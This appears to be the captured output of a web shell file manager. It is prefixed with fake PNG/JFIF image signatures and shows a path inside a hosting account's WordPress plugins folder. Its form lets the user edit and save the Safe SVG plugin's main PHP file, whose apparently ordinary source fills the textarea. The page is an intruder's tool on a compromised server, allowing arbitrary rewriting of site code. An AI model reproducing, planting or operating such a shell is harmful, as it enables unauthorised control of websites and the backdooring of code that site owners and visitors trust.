�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fsafe-svg%2F'>safe-svg</a>/</p><hr><h3>✏️ Editing: safe-svg.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Plugin Name:       Safe SVG
 * Plugin URI:        https://wordpress.org/plugins/safe-svg/
 * Description:       Enable SVG uploads and sanitize them to stop XML/SVG vulnerabilities in your WordPress website
 * Version:           2.4.0
 * Requires at least: 6.6
 * Requires PHP:      7.4
 * Author:            10up
 * Author URI:        https://10up.com
 * License:           GPL-2.0-or-later
 * License URI:       https://spdx.org/licenses/GPL-2.0-or-later.html
 * Text Domain:       safe-svg
 * Domain Path:       /languages
 *
 * @package safe-svg
 */

namespace SafeSvg;

use enshrined\svgSanitize\Sanitizer;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

define( &#039;SAFE_SVG_VERSION&#039;, &#039;2.4.0&#039; );
define( &#039;SAFE_SVG_PLUGIN_DIR&#039;, __DIR__ );
define( &#039;SAFE_SVG_PLUGIN_URL&#039;, plugin_dir_url( __FILE__ ) );

/**
 * Get the minimum version of PHP required by this plugin.
 *
 * @since 2.1.1
 *
 * @return string Minimum version required.
 */
function minimum_php_requirement() {
	return &#039;7.4&#039;;
}

/**
 * Whether PHP installation meets the minimum requirements
 *
 * @since 2.1.1
 *
 * @return bool True if meets minimum requirements, false otherwise.
 */
function site_meets_php_requirements() {
	return version_compare( phpversion(), minimum_php_requirement(), &#039;&gt;=&#039; );
}

// Try and include our autoloader, ensuring our PHP version is met first.
if ( ! site_meets_php_requirements() ) {
	add_action(
		&#039;admin_notices&#039;,
		function() {
			?&gt;
			&lt;div class=&quot;notice notice-error&quot;&gt;
				&lt;p&gt;
					&lt;?php
					echo wp_kses_post(
						sprintf(
							/* translators: %s: Minimum required PHP version */
							__( &#039;Safe SVG requires PHP version %s or later. Please upgrade PHP or disable the plugin.&#039;, &#039;safe-svg&#039; ),
							esc_html( minimum_php_requirement() )
						)
					);
					?&gt;
				&lt;/p&gt;
			&lt;/div&gt;
			&lt;?php
		}
	);
	return;
} elseif ( is_readable( __DIR__ . &#039;/vendor/autoload.php&#039; ) ) {
	require __DIR__ . &#039;/vendor/autoload.php&#039;;
} elseif ( ! class_exists( Sanitizer::class ) ) {
	add_action(
		&#039;admin_notices&#039;,
		function() {
			?&gt;
			&lt;div class=&quot;notice notice-error&quot;&gt;
				&lt;p&gt;
					&lt;?php
					echo wp_kses_post(
						sprintf(
							/* translators: %1$s is the command that needs to be run. */
							__( &#039;You appear to be running a development version of Safe SVG. Please run %1$s in order for things to work properly.&#039;, &#039;safe-svg&#039; ),
							&#039;&lt;code&gt;composer install&lt;/code&gt;&#039;
						)
					);
					?&gt;
				&lt;/p&gt;
			&lt;/div&gt;
			&lt;?php
		}
	);
	return;
}

require __DIR__ . &#039;/includes/safe-svg-tags.php&#039;;
require __DIR__ . &#039;/includes/safe-svg-attributes.php&#039;;
require __DIR__ . &#039;/includes/safe-svg-settings.php&#039;;
require __DIR__ . &#039;/includes/blocks.php&#039;;
require __DIR__ . &#039;/includes/optimizer.php&#039;;

new \SafeSVG\Optimizer();

if ( ! class_exists( &#039;SafeSvg\\safe_svg&#039; ) ) {

	/**
	 * Class safe_svg
	 */
	class safe_svg {

		/**
		 * The sanitizer
		 *
		 * @var \enshrined\svgSanitize\Sanitizer
		 */
		protected $sanitizer;

		/**
		 * Set up the class
		 */
		public function __construct() {
			$this-&gt;sanitizer = new Sanitizer();
			$this-&gt;sanitizer-&gt;minify( true );

			// Allow SVG uploads from specific contexts.
			add_action( &#039;load-upload.php&#039;, array( $this, &#039;allow_svg_from_upload&#039; ) );
			add_action( &#039;load-post-new.php&#039;, array( $this, &#039;allow_svg_from_upload&#039; ) );
			add_action( &#039;load-post.php&#039;, array( $this, &#039;allow_svg_from_upload&#039; ) );
			add_action( &#039;load-site-editor.php&#039;, array( $this, &#039;allow_svg_from_upload&#039; ) );

			// This filter runs very early on in the `wp_enqueue_media()` function, which is used to load the
			// assets required to use the media JS APIs. Whilst we don&#039;t want to adjust the tabs, this does
			// give us a good point to hook into _all_ the places allowing uploads and add SVGs to the list.
			add_action(
				&#039;media_upload_tabs&#039;,
				function ( $tabs ) {
					$this-&gt;allow_svg_from_upload();

					return $tabs;
				}
			);

			// Init all the things.
			add_action( &#039;init&#039;, array( $this, &#039;setup_blocks&#039; ) );
			add_filter( &#039;wp_handle_sideload_prefilter&#039;, array( $this, &#039;check_for_svg&#039; ) );
			add_filter( &#039;wp_handle_upload_prefilter&#039;, array( $this, &#039;check_for_svg&#039; ) );
			add_filter( &#039;wp_prepare_attachment_for_js&#039;, array( $this, &#039;fix_admin_preview&#039; ), 10, 3 );
			add_filter( &#039;wp_get_attachment_image_src&#039;, array( $this, &#039;one_pixel_fix&#039; ), 10, 4 );
			add_filter( &#039;admin_post_thumbnail_html&#039;, array( $this, &#039;featured_image_fix&#039; ), 10, 3 );
			add_action( &#039;admin_enqueue_scripts&#039;, array( $this, &#039;load_custom_admin_style&#039; ) );
			add_action( &#039;get_image_tag&#039;, array( $this, &#039;get_image_tag_override&#039; ), 10, 6 );
			add_filter( &#039;wp_generate_attachment_metadata&#039;, array( $this, &#039;skip_svg_regeneration&#039; ), 10, 2 );
			add_filter( &#039;wp_get_attachment_metadata&#039;, array( $this, &#039;metadata_error_fix&#039; ), 10, 2 );
			add_filter( &#039;wp_calculate_image_srcset_meta&#039;, array( $this, &#039;disable_srcset&#039; ), 10, 4 );

			new safe_svg_settings();
		}

		/**
		 * Allow SVG uploads from the wp-admin/upload.php screen. Without this, you cannot upload SVGs from the media grid view.
		 *
		 * @return void
		 */
		public function allow_svg_from_upload() {
			add_filter( &#039;upload_mimes&#039;, array( $this, &#039;allow_svg&#039; ) );
			add_filter( &#039;wp_check_filetype_and_ext&#039;, array( $this, &#039;fix_mime_type_svg&#039; ), 75, 4 );
		}

		/**
		 * Custom function to check if user can upload svg.
		 *
		 * Use core caps if setting hasn&#039;t every been updated.
		 *
		 * @return bool
		 */
		public function current_user_can_upload_svg() {
			$upload_roles = get_option( &#039;safe_svg_upload_roles&#039;, [] );
			$can_upload   = false;

			if ( empty( $upload_roles ) ) {
				// Fallback to upload_files check for backwards compatibility.
				$can_upload = current_user_can( &#039;upload_files&#039; );
			} else {
				// Use our custom capability if some upload roles are set.
				$can_upload = current_user_can( &#039;safe_svg_upload_svg&#039; );
			}

			/**
			 * Determine if the current user can upload an svg.
			 *
			 * @param bool $can_upload Can the current user upload an svg?
			 *
			 * @return bool
			 */
			return (bool) apply_filters( &#039;safe_svg_current_user_can_upload&#039;, $can_upload );
		}

		/**
		 * Setup the blocks.
		 */
		public function setup_blocks() {
			// Setup blocks.
			Blocks\setup();
		}

		/**
		 * Allow SVG Uploads
		 *
		 * @param array $mimes Mime types keyed by the file extension regex corresponding to those types.
		 *
		 * @return mixed
		 */
		public function allow_svg( $mimes ) {
			if ( $this-&gt;current_user_can_upload_svg() ) {
				$mimes[&#039;svg&#039;]  = &#039;image/svg+xml&#039;;
				$mimes[&#039;svgz&#039;] = &#039;image/svg+xml&#039;;
			}

			return $mimes;
		}

		/**
		 * Fixes the issue in WordPress 4.7.1 being unable to correctly identify SVGs
		 *
		 * @thanks @lewiscowles
		 *
		 * @param array    $data     Values for the extension, mime type, and corrected filename.
		 * @param string   $file     Full path to the file.
		 * @param string   $filename The name of the file.
		 * @param string[] $mimes    Array of mime types keyed by their file extension regex.
		 *
		 * @return null
		 */
		public function fix_mime_type_svg( $data = null, $file = null, $filename = null, $mimes = null ) {
			$ext = isset( $data[&#039;ext&#039;] ) ? $data[&#039;ext&#039;] : &#039;&#039;;
			if ( strlen( $ext ) &lt; 1 ) {
				$exploded = explode( &#039;.&#039;, $filename );
				$ext      = strtolower( end( $exploded ) );
			}
			if ( &#039;svg&#039; === $ext ) {
				$data[&#039;type&#039;] = &#039;image/svg+xml&#039;;
				$data[&#039;ext&#039;]  = &#039;svg&#039;;
			} elseif ( &#039;svgz&#039; === $ext ) {
				$data[&#039;type&#039;] = &#039;image/svg+xml&#039;;
				$data[&#039;ext&#039;]  = &#039;svgz&#039;;
			}

			return $data;
		}

		/**
		 * Check if the file is an SVG, if so handle appropriately
		 *
		 * @param array $file An array of data for a single file.
		 *
		 * @return mixed
		 */
		public function check_for_svg( $file ) {

			// Ensure we have a proper file path before processing
			if ( ! isset( $file[&#039;tmp_name&#039;] ) ) {
				return $file;
			}

			$file_name = isset( $file[&#039;name&#039;] ) ? $file[&#039;name&#039;] : &#039;&#039;;

			// Allow SVGs to be uploaded when this function runs.
			add_filter( &#039;upload_mimes&#039;, array( $this, &#039;allow_svg&#039; ) );
			add_filter( &#039;wp_check_filetype_and_ext&#039;, array( $this, &#039;fix_mime_type_svg&#039; ), 75, 4 );

			$wp_filetype = wp_check_filetype_and_ext( $file[&#039;tmp_name&#039;], $file_name );

			// Remove the SVG mime type after we&#039;ve sanitized the file.
			// We need to utilize the pre_move_uploaded_file filter to ensure we can remove the filters after the file has been full-processed.
			// This is because wp_check_filetype_and_ext() is called multiple times during the upload process.
			add_filter( &#039;pre_move_uploaded_file&#039;, array( $this, &#039;pre_move_uploaded_file&#039; ) );

			$type = ! empty( $wp_filetype[&#039;type&#039;] ) ? $wp_filetype[&#039;type&#039;] : &#039;&#039;;

			if ( &#039;image/svg+xml&#039; === $type ) {
				if ( ! $this-&gt;current_user_can_upload_svg() ) {
					$file[&#039;error&#039;] = __(
						&#039;Sorry, you are not allowed to upload SVG files.&#039;,
						&#039;safe-svg&#039;
					);

					return $file;
				}

				if ( ! $this-&gt;sanitize( $file[&#039;tmp_name&#039;] ) ) {
					$file[&#039;error&#039;] = __(
						&quot;Sorry, this file couldn&#039;t be sanitized so for security reasons wasn&#039;t uploaded&quot;,
						&#039;safe-svg&#039;
					);
				}
			}

			return $file;
		}

		/**
		 * Remove the filters after the file has been processed.
		 *
		 * We need to utilize the pre_move_uploaded_file filter to ensure we can remove the filters after the file has been full-processed.
		 * This is because wp_check_filetype_and_ext() is called multiple times during the upload process.
		 *
		 * @param string $move_new_file The new file path. We don&#039;t touch this, just return it.
		 *
		 * @return string
		 */
		public function pre_move_uploaded_file( $move_new_file ) {
			remove_filter( &#039;wp_check_filetype_and_ext&#039;, array( $this, &#039;fix_mime_type_svg&#039; ), 75 );
			remove_filter( &#039;upload_mimes&#039;, array( $this, &#039;allow_svg&#039; ) );

			return $move_new_file;
		}

		/**
		 * Sanitize the SVG
		 *
		 * @param string $file Temp file path.
		 *
		 * @return bool|int
		 */
		protected function sanitize( $file ) {
			$dirty = file_get_contents( $file ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents

			// Is the SVG gzipped? If so we try and decode the string
			$is_zipped = $this-&gt;is_gzipped( $dirty );
			if ( $is_zipped ) {
				$dirty = gzdecode( $dirty );

				// If decoding fails, bail as we&#039;re not secure
				if ( false === $dirty ) {
					return false;
				}
			}

			// Allow large SVGs if the setting is on.
			if ( get_option( &#039;safe_svg_large_svg&#039; ) ) {
				$this-&gt;sanitizer-&gt;setAllowHugeFiles( true );
			}

			/**
			 * Load extra filters to allow devs to access the safe tags and attrs by themselves.
			 */
			$this-&gt;sanitizer-&gt;setAllowedTags( new SafeSvgTags\safe_svg_tags() );
			$this-&gt;sanitizer-&gt;setAllowedAttrs( new SafeSvgAttr\safe_svg_attributes() );

			$clean = $this-&gt;sanitizer-&gt;sanitize( $dirty );

			if ( false === $clean ) {
				return false;
			}

			// If we were gzipped, we need to re-zip
			if ( $is_zipped ) {
				$clean = gzencode( $clean );
			}

			file_put_contents( $file, $clean ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_file_put_contents

			return true;
		}

		/**
		 * Check if the contents are gzipped
		 *
		 * @see http://www.gzip.org/zlib/rfc-gzip.html#member-format
		 *
		 * @param string $contents Content to check.
		 *
		 * @return bool
		 */
		protected function is_gzipped( $contents ) {
			// phpcs:disable Generic.Strings.UnnecessaryStringConcat.Found
			if ( function_exists( &#039;mb_strpos&#039; ) ) {
				return 0 === mb_strpos( $contents, &quot;\x1f&quot; . &quot;\x8b&quot; . &quot;\x08&quot; );
			} else {
				return 0 === strpos( $contents, &quot;\x1f&quot; . &quot;\x8b&quot; . &quot;\x08&quot; );
			}
			// phpcs:enable
		}

		/**
		 * Filters the attachment data prepared for JavaScript to add the sizes array to the response
		 *
		 * @param array      $response Array of prepared attachment data.
		 * @param int|object $attachment Attachment ID or object.
		 * @param array      $meta Array of attachment meta data.
		 *
		 * @return array
		 */
		public function fix_admin_preview( $response, $attachment, $meta ) {

			if ( &#039;image/svg+xml&#039; === $response[&#039;mime&#039;] ) {
				$dimensions = $this-&gt;svg_dimensions( $attachment-&gt;ID );

				if ( $dimensions ) {
					$response = array_merge( $response, $dimensions );
				}

				$possible_sizes = apply_filters(
					&#039;image_size_names_choose&#039;,
					array(
						&#039;full&#039;      =&gt; __( &#039;Full Size&#039; ),
						&#039;thumbnail&#039; =&gt; __( &#039;Thumbnail&#039; ),
						&#039;medium&#039;    =&gt; __( &#039;Medium&#039; ),
						&#039;large&#039;     =&gt; __( &#039;Large&#039; ),
					)
				);

				$sizes = array();

				foreach ( $possible_sizes as $size =&gt; $label ) {
					$default_height = 2000;
					$default_width  = 2000;

					if ( &#039;full&#039; === $size &amp;&amp; $dimensions ) {
						$default_height = $dimensions[&#039;height&#039;];
						$default_width  = $dimensions[&#039;width&#039;];
					}

					$sizes[ $size ] = array(
						&#039;height&#039;      =&gt; get_option( &quot;{$size}_size_w&quot;, $default_height ),
						&#039;width&#039;       =&gt; get_option( &quot;{$size}_size_h&quot;, $default_width ),
						&#039;url&#039;         =&gt; $response[&#039;url&#039;],
						&#039;orientation&#039; =&gt; &#039;portrait&#039;,
					);
				}

				$response[&#039;sizes&#039;] = $sizes;
				$response[&#039;icon&#039;]  = $response[&#039;url&#039;];
			}

			return $response;
		}

		/**
		 * Filters the image src result.
		 * If the image size doesn&#039;t exist, set a default size of 100 for width and height
		 *
		 * @param array|false  $image Either array with src, width &amp; height, icon src, or false.
		 * @param int          $attachment_id Image attachment ID.
		 * @param string|array $size Size of image. Image size or array of width and height values
		 *                                    (in that order). Default &#039;thumbnail&#039;.
		 * @param bool         $icon Whether the image should be treated as an icon. Default false.
		 *
		 * @return array
		 */
		public function one_pixel_fix( $image, $attachment_id, $size, $icon ) {
			if ( get_post_mime_type( $attachment_id ) === &#039;image/svg+xml&#039; ) {
				$dimensions = $this-&gt;svg_dimensions( $attachment_id, $size );

				if ( $dimensions ) {
					$image[1] = $dimensions[&#039;width&#039;];
					$image[2] = $dimensions[&#039;height&#039;];
				} else {
					$image[1] = 100;
					$image[2] = 100;
				}
			}

			return $image;
		}

		/**
		 * If the featured image is an SVG we wrap it in an SVG class so we can apply our CSS fix.
		 *
		 * @param string   $content Admin post thumbnail HTML markup.
		 * @param int      $post_id Post ID.
		 * @param int|null $thumbnail_id Thumbnail attachment ID, or null if there isn&#039;t one.
		 *
		 * @return string
		 */
		public function featured_image_fix( $content, $post_id, $thumbnail_id = null ) {
			$mime = get_post_mime_type( $thumbnail_id );

			if ( &#039;image/svg+xml&#039; === $mime ) {
				$content = sprintf( &#039;&lt;span class=&quot;svg&quot;&gt;%s&lt;/span&gt;&#039;, $content );
			}

			return $content;
		}

		/**
		 * Load our custom CSS sheet.
		 */
		public function load_custom_admin_style() {
			wp_enqueue_style( &#039;safe-svg-css&#039;, plugins_url( &#039;assets/safe-svg.css&#039;, __FILE__ ), array(), SAFE_SVG_VERSION );
		}

		/**
		 * Override the default height and width string on an SVG
		 *
		 * @param string       $html HTML content for the image.
		 * @param int          $id Attachment ID.
		 * @param string       $alt Alternate text.
		 * @param string       $title Attachment title.
		 * @param string       $align Part of the class name for aligning the image.
		 * @param string|array $size Size of image. Image size or array of width and height values (in that order).
		 *                            Default &#039;medium&#039;.
		 *
		 * @return mixed
		 */
		public function get_image_tag_override( $html, $id, $alt, $title, $align, $size ) {
			$mime = get_post_mime_type( $id );

			if ( &#039;image/svg+xml&#039; === $mime ) {
				if ( is_array( $size ) ) {
					$width  = $size[0];
					$height = $size[1];
				} elseif ( &#039;full&#039; === $size &amp;&amp; $dimensions = $this-&gt;svg_dimensions( $id ) ) { // phpcs:ignore WordPress.CodeAnalysis.AssignmentInCondition.Found, Squiz.PHP.DisallowMultipleAssignments.FoundInControlStructure
					$width  = $dimensions[&#039;width&#039;];
					$height = $dimensions[&#039;height&#039;];
				} else {
					$width  = get_option( &quot;{$size}_size_w&quot;, false );
					$height = get_option( &quot;{$size}_size_h&quot;, false );
				}

				if ( $height &amp;&amp; $width ) {
					$html = str_replace( &#039;width=&quot;1&quot; &#039;, sprintf( &#039;width=&quot;%s&quot; &#039;, $width ), $html );
					$html = str_replace( &#039;height=&quot;1&quot; &#039;, sprintf( &#039;height=&quot;%s&quot; &#039;, $height ), $html );
				} else {
					$html = str_replace( &#039;width=&quot;1&quot; &#039;, &#039;&#039;, $html );
					$html = str_replace( &#039;height=&quot;1&quot; &#039;, &#039;&#039;, $html );
				}

				$html = str_replace( &#039;/&gt;&#039;, &#039; role=&quot;img&quot; /&gt;&#039;, $html );
			}

			return $html;
		}

		/**
		 * Skip regenerating SVGs
		 *
		 * @param array $metadata      An array of attachment meta data.
		 * @param int   $attachment_id Attachment Id to process.
		 *
		 * @return mixed Metadata for attachment.
		 */
		public function skip_svg_regeneration( $metadata, $attachment_id ) {
			$mime = get_post_mime_type( $attachment_id );
			if ( &#039;image/svg+xml&#039; === $mime ) {
				$additional_image_sizes = wp_get_additional_image_sizes();
				$svg_path               = get_attached_file( $attachment_id );
				$upload_dir             = wp_upload_dir();
				// get the path relative to /uploads/ - found no better way:
				$relative_path = str_replace( trailingslashit( $upload_dir[&#039;basedir&#039;] ), &#039;&#039;, $svg_path );
				$filename      = basename( $svg_path );

				$dimensions = $this-&gt;svg_dimensions( $attachment_id );

				if ( ! $dimensions ) {
					return $metadata;
				}

				$metadata = array(
					&#039;width&#039;  =&gt; intval( $dimensions[&#039;width&#039;] ),
					&#039;height&#039; =&gt; intval( $dimensions[&#039;height&#039;] ),
					&#039;file&#039;   =&gt; $relative_path,
				);

				// Might come handy to create the sizes array too - But it&#039;s not needed for this workaround! Always links to original svg-file =&gt; Hey, it&#039;s a vector graphic! ;)
				$sizes = array();
				foreach ( get_intermediate_image_sizes() as $s ) {
					$sizes[ $s ] = array(
						&#039;width&#039;  =&gt; &#039;&#039;,
						&#039;height&#039; =&gt; &#039;&#039;,
						&#039;crop&#039;   =&gt; false,
					);

					if ( isset( $additional_image_sizes[ $s ][&#039;width&#039;] ) ) {
						// For theme-added sizes
						$sizes[ $s ][&#039;width&#039;] = intval( $additional_image_sizes[ $s ][&#039;width&#039;] );
					} else {
						// For default sizes set in options
						$sizes[ $s ][&#039;width&#039;] = get_option( &quot;{$s}_size_w&quot; );
					}

					if ( isset( $additional_image_sizes[ $s ][&#039;height&#039;] ) ) {
						// For theme-added sizes
						$sizes[ $s ][&#039;height&#039;] = intval( $additional_image_sizes[ $s ][&#039;height&#039;] );
					} else {
						// For default sizes set in options
						$sizes[ $s ][&#039;height&#039;] = get_option( &quot;{$s}_size_h&quot; );
					}

					if ( isset( $additional_image_sizes[ $s ][&#039;crop&#039;] ) ) {
						// For theme-added sizes
						$sizes[ $s ][&#039;crop&#039;] = intval( $additional_image_sizes[ $s ][&#039;crop&#039;] );
					} else {
						// For default sizes set in options
						$sizes[ $s ][&#039;crop&#039;] = get_option( &quot;{$s}_crop&quot; );
					}

					$sizes[ $s ][&#039;file&#039;]      = $filename;
					$sizes[ $s ][&#039;mime-type&#039;] = $mime;
				}
				$metadata[&#039;sizes&#039;] = $sizes;
			}

			return $metadata;
		}

		/**
		 * Filters the attachment meta data.
		 *
		 * @param array|bool $data Array of meta data for the given attachment, or false
		 *                            if the object does not exist.
		 * @param int        $post_id Attachment ID.
		 */
		public function metadata_error_fix( $data, $post_id ) {

			// If it&#039;s a WP_Error regenerate metadata and save it
			if ( is_wp_error( $data ) ) {
				$data = wp_generate_attachment_metadata( $post_id, get_attached_file( $post_id ) );
				wp_update_attachment_metadata( $post_id, $data );
			}

			return $data;
		}

		/**
		 * Get SVG size from the width/height or viewport.
		 *
		 * @param integer $attachment_id The attachment ID of the SVG being processed.
		 *
		 * @return array|bool
		 */
		protected function svg_dimensions( $attachment_id ) {
			/**
			 * Calculate SVG dimensions and orientation.
			 *
			 * This filter allows you to implement your own sizing. By returning a non-false
			 * value, it will short-circuit this function and return your set value.
			 *
			 * @param boolean Default value of the filter.
			 * @param integer $attachment_id The attachment ID of the SVG being processed.
			 *
			 * @return array|false An array of SVG dimensions and orientation or false.
			 */
			$short_circuit = apply_filters( &#039;safe_svg_pre_dimensions&#039;, false, $attachment_id );

			if ( false !== $short_circuit ) {
				return $short_circuit;
			}

			if ( ! function_exists( &#039;simplexml_load_file&#039; ) ) {
				return false;
			}

			$svg      = get_attached_file( $attachment_id );
			$metadata = wp_get_attachment_metadata( $attachment_id );
			$width    = 0;
			$height   = 0;

			if ( $svg &amp;&amp; ! empty( $metadata[&#039;width&#039;] ) &amp;&amp; ! empty( $metadata[&#039;height&#039;] ) ) {
				$width  = floatval( $metadata[&#039;width&#039;] );
				$height = floatval( $metadata[&#039;height&#039;] );
			} elseif ( $svg ) {
				$xml = @simplexml_load_file( $svg ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged

				// Ensure the svg could be loaded.
				if ( ! $xml ) {
					return false;
				}

				$attributes = $xml-&gt;attributes();

				if ( isset( $attributes-&gt;viewBox ) ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
					$sizes = explode( &#039; &#039;, $attributes-&gt;viewBox ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
					if ( isset( $sizes[2], $sizes[3] ) ) {
						$viewbox_width  = floatval( $sizes[2] );
						$viewbox_height = floatval( $sizes[3] );
					}
				}

				if ( isset( $attributes-&gt;width, $attributes-&gt;height ) &amp;&amp; is_numeric( (float) $attributes-&gt;width ) &amp;&amp; is_numeric( (float) $attributes-&gt;height ) &amp;&amp; ! $this-&gt;str_ends_with( (string) $attributes-&gt;width, &#039;%&#039; ) &amp;&amp; ! $this-&gt;str_ends_with( (string) $attributes-&gt;height, &#039;%&#039; ) ) {
					$attr_width  = floatval( $attributes-&gt;width );
					$attr_height = floatval( $attributes-&gt;height );
				}

				/**
				 * Decide which attributes of the SVG we use first for image tag dimensions.
				 *
				 * We default to using the parameters in the viewbox attribute but
				 * that can be overridden using this filter if you&#039;d prefer to use
				 * the width and height attributes.
				 *
				 * @hook safe_svg_use_width_height_attributes
				 *
				 * @param bool   $use_width_height_attributes If the width &amp; height attributes should be used first. Default false.
				 * @param string $svg                         The file path to the SVG.
				 * @param int    $attachment_id               The attachment ID.
				 *
				 * @return bool If we should use the width &amp; height attributes first or not.
				 */
				$use_width_height = (bool) apply_filters( &#039;safe_svg_use_width_height_attributes&#039;, false, $svg, $attachment_id );

				if ( $use_width_height ) {
					if ( isset( $attr_width, $attr_height ) ) {
						$width  = $attr_width;
						$height = $attr_height;
					} elseif ( isset( $viewbox_width, $viewbox_height ) ) {
						$width  = $viewbox_width;
						$height = $viewbox_height;
					}
				} else {
					if ( isset( $viewbox_width, $viewbox_height ) ) {
						$width  = $viewbox_width;
						$height = $viewbox_height;
					} elseif ( isset( $attr_width, $attr_height ) ) {
						$width  = $attr_width;
						$height = $attr_height;
					}
				}

				if ( ! $width &amp;&amp; ! $height ) {
					return false;
				}
			}

			$dimensions = array(
				&#039;width&#039;       =&gt; $width,
				&#039;height&#039;      =&gt; $height,
				&#039;orientation&#039; =&gt; ( $width &gt; $height ) ? &#039;landscape&#039; : &#039;portrait&#039;,
			);

			/**
			 * Calculate SVG dimensions and orientation.
			 *
			 * @param array  $dimensions    An array containing width, height, and orientation.
			 * @param string $svg           The file path to the SVG.
			 * @param int    $attachment_id The attachment ID.
			 *
			 * @return array An array of SVG dimensions and orientation.
			 */
			return apply_filters( &#039;safe_svg_dimensions&#039;, $dimensions, $svg, $attachment_id );
		}

		/**
		 * Disable the creation of srcset on SVG images.
		 *
		 * @param array  $image_meta The image meta data.
		 * @param int[]  $size_array {
		 *     An array of requested width and height values.
		 *
		 *     @type int $0 The width in pixels.
		 *     @type int $1 The height in pixels.
		 * }
		 * @param string $image_src     The &#039;src&#039; of the image.
		 * @param int    $attachment_id The image attachment ID.
		 */
		public function disable_srcset( $image_meta, $size_array, $image_src, $attachment_id ) {
			if ( $attachment_id &amp;&amp; &#039;image/svg+xml&#039; === get_post_mime_type( $attachment_id ) &amp;&amp; is_array( $image_meta ) ) {
				$image_meta[&#039;sizes&#039;] = array();
			}

			return $image_meta;
		}

		/**
		 * Polyfill for `str_ends_with()` function added in PHP 8.0.
		 *
		 * Performs a case-sensitive check indicating if
		 * the haystack ends with needle.
		 *
		 * @param string $haystack The string to search in.
		 * @param string $needle   The substring to search for in the `$haystack`.
		 * @return bool True if `$haystack` ends with `$needle`, otherwise false.
		 */
		protected function str_ends_with( $haystack, $needle ) {
			if ( function_exists( &#039;str_ends_with&#039; ) ) {
				return str_ends_with( $haystack, $needle );
			}

			if ( &#039;&#039; === $haystack &amp;&amp; &#039;&#039; !== $needle ) {
				return false;
			}

			$len = strlen( $needle );
			return 0 === substr_compare( $haystack, $needle, -$len, $len );
		}
	}
}

new safe_svg();
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fsafe-svg'>🔙 Back</a></p>